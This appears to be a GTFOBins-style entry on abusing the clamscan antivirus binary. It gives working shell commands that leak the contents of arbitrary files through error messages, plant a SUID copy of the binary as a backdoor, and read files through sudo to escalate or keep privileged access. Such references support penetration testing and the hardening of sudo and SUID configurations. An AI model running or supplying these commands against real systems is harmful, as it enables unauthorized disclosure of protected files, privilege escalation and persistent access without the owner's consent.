Each line of the file is interpreted as a path and the content is leaked via error messages, thus this might not be suitable to read binary files. The output can optionally be cleaned using sed.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
TF=$(mktemp -d)
touch $TF/empty.yara
clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which clamscan) .
LFILE=file_to_read
TF=$(mktemp -d)
touch $TF/empty.yara
./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
LFILE=file_to_read
TF=$(mktemp -d)
touch $TF/empty.yara
sudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'